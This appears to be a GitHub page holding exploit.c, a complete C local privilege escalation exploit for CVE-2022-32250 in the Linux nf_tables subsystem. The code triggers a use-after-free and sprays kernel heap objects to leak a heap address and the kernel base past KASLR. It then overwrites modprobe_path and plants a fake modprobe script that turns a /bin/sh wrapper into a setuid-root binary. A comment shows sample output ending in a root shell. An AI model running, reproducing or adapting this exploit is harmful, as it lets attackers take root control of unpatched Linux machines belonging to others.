-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathexploit.c
789 lines (627 loc) · 20.9 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
/*
# ./exploit
[*] CVE-2022-32250 LPE Exploit by @YordanStoychev
[*] Setting up user+network namespace sandbox
[+] STAGE 1: Heap leak
[*] Socket is opened.
[*] Table table1 created.
[*] Socket is opened.
[*] Table table2 created.
[*] Socket is opened.
[*] Table table3 created.
[*] Set created
[*] Set with UAF'd expression created
[*] Set with UAF'd expression created
[&] heap_addr: 0xffff90d97f8a64d8
[+] STAGE 2: KASLR bypass
[*] Set created
[*] Set with UAF'd expression created
[*] Set with UAF'd expression created
[&] kaddr: 0xffffffffa754bef0
[&] kbase: 0xffffffffa7000000
[+] STAGE 3: modprobe_path overwrite
[*] Set created
[*] Set with UAF'd expression created
[*] Set with UAF'd expression created
[*] STAGE 4: Escalation
[*] Setting up the fake modprobe...
[*] modprobe_path: /tmp/ِprobe
[*] Setting up the shell...
[*] Triggering the modprobe...
[*] Executing shell...
/ #
*/
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/set.h>
#include <time.h>
#include <stdlib.h>
#include <string.h>
#include <linux/limits.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <inttypes.h>
#include <assert.h>
#include <sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdarg.h>
#include <sys/stat.h> /* For mode constants */
#include <mqueue.h>
// create a table and a named set
// add once nft_lookup without STATEFUL flag so it is UAF'd
// allocate user_key_payload over it
// add another nft_lookup to the same table and named set
int set_num = 1;
static struct nftnl_table *table_add_parse(char* table_name, uint16_t family) {
struct nftnl_table *t; // create struct
t = nftnl_table_alloc(); // allocate the table
if (t == NULL) {
perror("[!] Couldn't allocate a table");
exit(EXIT_FAILURE);
}
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, family); // set the family
nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name); // set the name
return t;
}
static struct nftnl_chain *chain_add_parse(char* table_name, char* chain_name, int hooknum)
{
struct nftnl_chain *t;
//int hooknum = NF_INET_LOCAL_OUT;
t = nftnl_chain_alloc();
if (t == NULL) {
perror("[!] Couldn't allocate a chain");
return NULL;
}
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0); // set priority to 0
nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, hooknum);
return t;
}
void setup_table_and_chain(char* table_name, char* base_chain_name, int hooknum){
char buf_table[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh; // netlink message header
uint32_t portid, t_seq, table_seq;
uint16_t family = AF_INET;
struct nftnl_table *t_table; // netfilter netlink table
struct mnl_nlmsg_batch *batch_table;
int ret;
// **** TABLE SETUP ****
t_table = table_add_parse(table_name, family); // the table
t_seq = time(NULL); // t sequence num
batch_table = mnl_nlmsg_batch_start(buf_table, sizeof(buf_table)); // starts a batch of messages
nftnl_batch_begin(mnl_nlmsg_batch_current(batch_table), t_seq++); // 'begins' the batch
mnl_nlmsg_batch_next(batch_table); // denominates that a new message starts
table_seq = t_seq;
family = nftnl_table_get_u32(t_table, NFTNL_TABLE_FAMILY); // get the family back?
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch_table), // build the netlink header
NFT_MSG_NEWTABLE, family,
NLM_F_CREATE|NLM_F_ACK, t_seq++);
nftnl_table_nlmsg_build_payload(nlh, t_table); // build the payload
nftnl_table_free(t_table); // free the allocated table
mnl_nlmsg_batch_next(batch_table); // denominates that a new message can start
nftnl_batch_end(mnl_nlmsg_batch_current(batch_table), t_seq++); // ends the nftnl batch section
mnl_nlmsg_batch_next(batch_table);
// *** SETTING UP THE SOCKET ***
struct mnl_socket* nl_soc = mnl_socket_open(NETLINK_NETFILTER); // netlink socket
if(nl_soc == NULL){
perror("[!] mnl_socket_open");
exit(EXIT_FAILURE);
}
if(mnl_socket_bind(nl_soc, 0, MNL_SOCKET_AUTOPID) < 0){ // attempt to bind
perror("[!] mnl_socket_bind");
exit(EXIT_FAILURE);
}
printf("[*] Socket is opened. \n");
portid = mnl_socket_get_portid(nl_soc); // gets the portid
// *** SENDING TABLE BATCH ***
if (mnl_socket_sendto(nl_soc, mnl_nlmsg_batch_head(batch_table),
mnl_nlmsg_batch_size(batch_table)) < 0) {
perror("[!] mnl_socket_send *table*");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch_table); // stop the batch
ret = mnl_socket_recvfrom(nl_soc, buf_table, sizeof(buf_table));
while (ret > 0) {
ret = mnl_cb_run(buf_table, ret, table_seq, portid, NULL, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl_soc, buf_table, sizeof(buf_table));
}
if (ret == -1) {
perror("[!] Error adding table");
exit(EXIT_FAILURE);
}
printf("[*] Table %s created. \n", table_name);
mnl_socket_close(nl_soc);
}
static struct nftnl_set *setup_set(uint8_t family, const char *table,
const char *name)
{
struct nftnl_set *s = NULL;
s = nftnl_set_alloc();
if (s == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
nftnl_set_set_str(s, NFTNL_SET_NAME, name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
/* inet service type, see nftables/include/datatypes.h */
nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(s, NFTNL_SET_ID, set_num++);
return s;
}
void add_set(char *table_name, char *set_name, uint8_t family) {
struct mnl_socket *nl;
struct nftnl_set *s;
struct nlmsghdr *nlh;
struct mnl_nlmsg_batch *batch;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t seq = time(NULL);
int ret;
s = setup_set(family, table_name, set_name);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, s);
nftnl_set_free(s);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1) {
perror("mnl_socket_recvfrom");
exit(EXIT_FAILURE);
}
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0) {
perror("mnl_cb_run");
exit(EXIT_FAILURE);
}
printf("[*] Set created \n");
mnl_socket_close(nl);
}
void trigger_uaf(uint8_t family, char* table_name, const char *set, const char *throaway_name){
// set here is the persistant set
// throaway is the one that triggers the Use-After-Free
struct mnl_socket *nl;
struct nftnl_set *throwaway;
struct nlmsghdr *nlh;
struct mnl_nlmsg_batch *batch;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t seq = time(NULL);
int ret;
throwaway = setup_set(family, table_name, throaway_name);
struct nftnl_expr* e;
e = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, set);
nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_05);
nftnl_set_add_expr(throwaway, e);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, throwaway);
nftnl_set_free(throwaway);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret == -1) {
perror("mnl_socket_recvfrom");
exit(EXIT_FAILURE);
}
ret = mnl_cb_run(buf, ret, 0, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0) {
printf("[*] Set with UAF'd expression created \n");
}
mnl_socket_close(nl);
}
typedef int32_t key_serial_t;
key_serial_t forge_user_key_payload(const char *description, size_t plen){
char payload[plen];
sprintf(payload, "Some payload");
return syscall(__NR_add_key,
"user", description, payload, plen, -4);
}
key_serial_t forge_user_key_payload_kaslr(const char *description, size_t plen, uint64_t addr){
char payload[plen];
char x[8] = "12345678";
uint64_t msg_len = 0x8;
memcpy(payload, &addr, 8);
memcpy((payload+0x8), &addr, 8);
memcpy((payload+0x10), x, 8);
memcpy((payload+0x18), &msg_len, 8);
return syscall(__NR_add_key,
"user", description, payload, plen, -4);
}
key_serial_t forge_user_key_payload_modprobe(const char *description, size_t plen,
uint64_t modprobe_path, uint64_t path){
char payload[plen];
char x[8] = "12345678";
uint64_t msg_len = 0x8;
memcpy(payload, &modprobe_path, 8);
memcpy((payload+0x8), &path, 8);
memcpy((payload+0x10), x, 8);
memcpy((payload+0x18), &msg_len, 8);
return syscall(__NR_add_key,
"user", description, payload, plen, -4);
}
// key_serial_t* spray_user_key_payload(int amount){
// }
static inline long __keyctl(int cmd,
unsigned long arg2,
unsigned long arg3,
unsigned long arg4,
unsigned long arg5)
{
return syscall(__NR_keyctl,
cmd, arg2, arg3, arg4, arg5);
}
long keyctl(int cmd, ...)
{
va_list va;
unsigned long arg2, arg3, arg4, arg5;
va_start(va, cmd);
arg2 = va_arg(va, unsigned long);
arg3 = va_arg(va, unsigned long);
arg4 = va_arg(va, unsigned long);
arg5 = va_arg(va, unsigned long);
va_end(va);
return __keyctl(cmd, arg2, arg3, arg4, arg5);
}
long keyctl_read(key_serial_t id, char *buffer, size_t buflen)
{
return keyctl(11, id, buffer, buflen);
}
int keyctl_read_alloc(key_serial_t id, void **_buffer)
{
char *buf;
long buflen, ret;
ret = keyctl_read(id, NULL, 0);
if (ret < 0)
return -1;
for (;;) {
buflen = ret;
buf = malloc(buflen + 1);
if (!buf)
return -1;
ret = keyctl_read(id, buf, buflen);
if (ret < 0) {
free(buf);
return -1;
}
if (buflen >= ret)
break;
free(buf);
}
buf[ret] = 0;
*_buffer = buf;
return ret;
}
mqd_t open_mqueue(char* name){ // we intiate a message queue to allocate a posix_msg_tree_node
mqd_t ret = mq_open(name, O_RDWR | O_CREAT, S_IRWXU | S_IRWXO | S_IRWXG, NULL);
if(ret == -1){
perror("[!] mq_open");
exit(EXIT_FAILURE);
}
return ret;
}
void spray_messages(mqd_t mqdes, int amount){
char* message = "ABCDEFGH";
for(int i = 0; i<amount; i++){
int ret = mq_send(mqdes, message, sizeof(message), 1);
if(ret == -1){
perror("[!] mq_send");
exit(EXIT_FAILURE);
}
}
}
// kmalloc-128 allocation (might also go to kmalloc-96 but we don't care)
// as long as it isn't kmalloc-64 its fine for us
void spray_messages_128(mqd_t mqdes, int amount){
char message[] = "ABCDAAAAAAAAAAAAAAAAAAAA"; // 24 byte payload should be more than enough
// msg_msg header is supposed to be 48 bytes
for(int i = 0; i<amount; i++){
int ret = mq_send(mqdes, message, sizeof(message), 1);
if(ret == -1){
perror("[!] mq_send");
exit(EXIT_FAILURE);
}
}
}
int global_payload_counter = 0;
key_serial_t* spray_user_key_payload(int amount){
key_serial_t* arr = malloc(sizeof(key_serial_t)*amount);
char desc[256];
for(int i = 0; i < amount; i++){
sprintf(desc, "random description %d", global_payload_counter + i);
// puts(desc);
key_serial_t key = forge_user_key_payload(desc, 32);
*(arr + sizeof(key_serial_t)*i) = key;
}
global_payload_counter += amount;
return arr;
}
long keyctl_revoke(key_serial_t id)
{
return keyctl(3, id);
}
// amount / rate must always be a whole number
key_serial_t* free_keys(key_serial_t* keys, int amount, int rate){
key_serial_t* arr = malloc(sizeof(key_serial_t)*(amount/rate));
for(int i = 0; i < amount; i++){
if (i % rate == 0){
keyctl_revoke(keys + sizeof(key_serial_t)*i);
}
else {
*(arr + sizeof(key_serial_t)*(i/rate)) = *(keys+sizeof(key_serial_t)*i);
}
}
free(keys);
return arr;
}
#define DEFAULT_MAX_MSG_SIZE 8192
uint64_t recv_msg_addr(mqd_t mqdes){
char *buffer = malloc(DEFAULT_MAX_MSG_SIZE); // 8192 is the default max msgsize
mq_receive(mqdes, buffer, DEFAULT_MAX_MSG_SIZE, 0);
uint64_t kaddr = 0;
memcpy(&kaddr, buffer, 8);
return kaddr;
}
void write_to_file(const char *which, const char *format, ...) {
FILE * fu = fopen(which, "w");
va_list args;
va_start(args, format);
if (vfprintf(fu, format, args) < 0) {
perror("cannot write");
exit(1);
}
fclose(fu);
}
// int kaslr_successful = 0;
// key_serial_t kaslr_key;
// void read_key_loop(){
// while(!kaslr_successful){
// void* buffer;
// int x = keyctl_read_alloc(kaslr_key, &buffer);
// usleep(5);
// }
// }
// void write_key_loop() {
// while(!kaslr_successful){
// void* buffer;
// int x = keyctl_read_alloc(kaslr_key, &buffer);
// usleep(5);
// }
// }
// we want to update the keys outside of kmalloc-64
// if it is in kmalloc-64 they would be reallocated over the locations of the previous ones
void update_keys(int amount){
for(int i = 0; i < amount; i++){
char desc[256];
sprintf(desc, "random description %d", i);
int plen = 30;
char payload[plen];
memset(payload, 0x41, 30);
syscall(__NR_add_key,
"user", desc, payload, plen, -4);
}
}
void setup_namespaces(void) {
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWCGROUP) < 0){
perror("[-] unshare(CLONE_NEWCGROUP)");
exit(EXIT_FAILURE);
}
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
// now we map uid and gid
write_to_file("/proc/self/uid_map", "0 %d 1", uid);
// deny setgroups (see user_namespaces(7))
write_to_file("/proc/self/setgroups", "deny");
// remap gid
write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}
void setup_fake_modprobe(){
char path[16] = {0};
int fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
read(fd, path, 14); // we cut at 14 bytes because the last two bytes are \n and 00
close(fd);
printf("[*] modprobe_path: %s\n", path);
//char fake_modprobe[] = "#!/bin/sh\n\nchown root:root /tmp/final\nchmod 4555 /tmp/final\n";
char fake_modprobe[] = "#!/bin/sh\n\nchown root:root /final\nchmod 4555 /final\n";
fd = open(path, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, fake_modprobe, strlen(fake_modprobe));
close(fd);
}
void setup_shell(){
char shell[] = "int main() { setuid(0); setgid(0); system(\"/bin/sh\"); return 0; }";
int fd = open("/tmp/final.c", O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, shell, strlen(shell)); // it is 37 bytes
close(fd);
//system("gcc /tmp/final.c -w -o final");
}
void execute_shell(){
//execve("/tmp/final", NULL, NULL);
execve("/final", NULL, NULL);
}
void trigger_modprobe(){
char* trigger_sequence = "\xff\xff\xff\xff";
int fd = open("/tmp/trigger", O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, trigger_sequence, 4);
close(fd);
execve("/tmp/trigger", NULL, NULL);
}
#define USER_FREE_PAYLOAD_RCU 0x54bef0
#define MODPROBE_PATH 0x185fa80
int main() {
int *semaphore = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
*semaphore = 1;
/* we need to fork because the main process will be dropped into */
/* user+net namespace */
if(fork()) {
while(*semaphore);
// this stage will be triggered last
// now we abuse the modprobe overwrite
// first create the fake modprobe
// then attempt to execute a file that will trigger a modprobe check
// the fake modprobe will change the permissions of a file that will gives us a shell
// we then execute the shell
printf("\n[*] STAGE 4: Escalation\n");
printf("[*] Setting up the fake modprobe...\n");
setup_fake_modprobe();
printf("[*] Setting up the shell...\n");
setup_shell();
printf("[*] Triggering the modprobe...\n");
trigger_modprobe();
printf("[*] Executing shell...\n");
execute_shell();
}
uint32_t family = AF_INET;
printf("[*] CVE-2022-32250 LPE Exploit by @YordanStoychev \n\n");
system("id");
printf("[*] Setting up user+network namespace sandbox \n\n");
setup_namespaces();
system("id");
char *table1 = "table1";
char *chain1 = "chain1";
char *set1 = "set1";
mqd_t kaslr_queue = open_mqueue("/kaslr");
printf("\n[+] STAGE 1: Heap leak\n");
setup_table_and_chain(table1, chain1, NF_INET_LOCAL_OUT);
setup_table_and_chain("table2", chain1, NF_INET_LOCAL_OUT);
setup_table_and_chain("table3", chain1, NF_INET_LOCAL_OUT);
add_set(table1, set1, NFPROTO_IPV4);
trigger_uaf(family, table1, set1, "th1");
key_serial_t leak_key = forge_user_key_payload("key1", 31);
trigger_uaf(family, table1, set1, "th2");
void* buffer;
int x = keyctl_read_alloc(leak_key, &buffer);
uint64_t heap_addr;
memcpy(&heap_addr, buffer, 8);
printf("[&] heap_addr: 0x%" PRIx64 " \n", heap_addr);
uint64_t heap_base = heap_addr & 0xffffffff00000000;
// KASLR leaking phase
printf("\n[+] STAGE 2: KASLR bypass\n");
char *persistant_kaslr_set = "kaslr_set";
char *persistant_mp_set = "modprobe_set";
add_set("table2", persistant_kaslr_set, NFPROTO_IPV4);
// allocating a posix_msg_tree_node
trigger_uaf(family, "table2", persistant_kaslr_set, "th3");
spray_messages_128(kaslr_queue, 1);
// spray a bunch of keys to maximize our chance of success
key_serial_t* garbage_keys = spray_user_key_payload(180);
// now we free some keys so we can allocate the kaslr key on one of their places
garbage_keys = free_keys(garbage_keys, 180, 90); // we free every 90th key
// NOTE: max_keys are 200 for non-root user; if you exceed it - it will overwrite old ones
// allocating a user_key_payload
// it is going to be treated as the first message in message queue
trigger_uaf(family, "table2", persistant_kaslr_set, "th4");
forge_user_key_payload_kaslr("kaslr_key", 32, heap_addr);
update_keys(180); // we start to update the keys to populate rcu_head->func
uint64_t kaddr = recv_msg_addr(kaslr_queue);
if(kaddr & 0xffffffff00000000 == 0xffffffff00000000){
puts("[!] Couldn't leak KASLR.");
exit(EXIT_FAILURE);
}
uint64_t kbase = kaddr - USER_FREE_PAYLOAD_RCU;
free_keys(garbage_keys, 178, 1); // rate = 1 free all remaining keys
global_payload_counter = 0;
printf("[&] kaddr: 0x%" PRIx64 " \n", kaddr);
printf("[&] kbase: 0x%" PRIx64 " \n", kbase);
// NOTE: the KASLR leak on top relies that recv_msg_add will be executed before
// the rcu callback of user_key_payload is executed
// if this does not happen in this order the exploit will fail as the user_key_payload
// would be zeroed out
// MODPROBE_PATH OVERWRITE STAGE
printf("\n[+] STAGE 3: modprobe_path overwrite\n");
add_set("table3", persistant_mp_set, NFPROTO_IPV4);
mqd_t modprobe_queue = open_mqueue("/modprobe");
uint64_t modprobe_path = kbase + MODPROBE_PATH;
trigger_uaf(family, "table3", persistant_mp_set, "th4");
spray_messages_128(modprobe_queue, 1); // should put a posix tree node there
// we need to allocate some user_key_payloads to satisfy the *security condition
// of the message subsystem (*security must be a valid pointer)
garbage_keys = spray_user_key_payload(180);
garbage_keys = free_keys(garbage_keys, 180, 90); // we free every 40th key
trigger_uaf(family, "table3", persistant_mp_set, "th5");
uint64_t mp_addr = heap_base + 0x2f706d74; // 0x2f706d74 = tmp/ (but little endian)
forge_user_key_payload_modprobe("modprobe_key", 32, modprobe_path-0x7, mp_addr);
// here it was -0x7 because -0x8 due to list unlinking and +0x1 to keep the "/" in the path
update_keys(180);
uint64_t recv = recv_msg_addr(modprobe_queue); // just receive a msg so it gets removed
// this should have triggered the modprobe overwrite
free_keys(garbage_keys, 178, 1); // rate = 1 free all remaining keys
*semaphore = 0; // unlocks the final stage
return 0;
}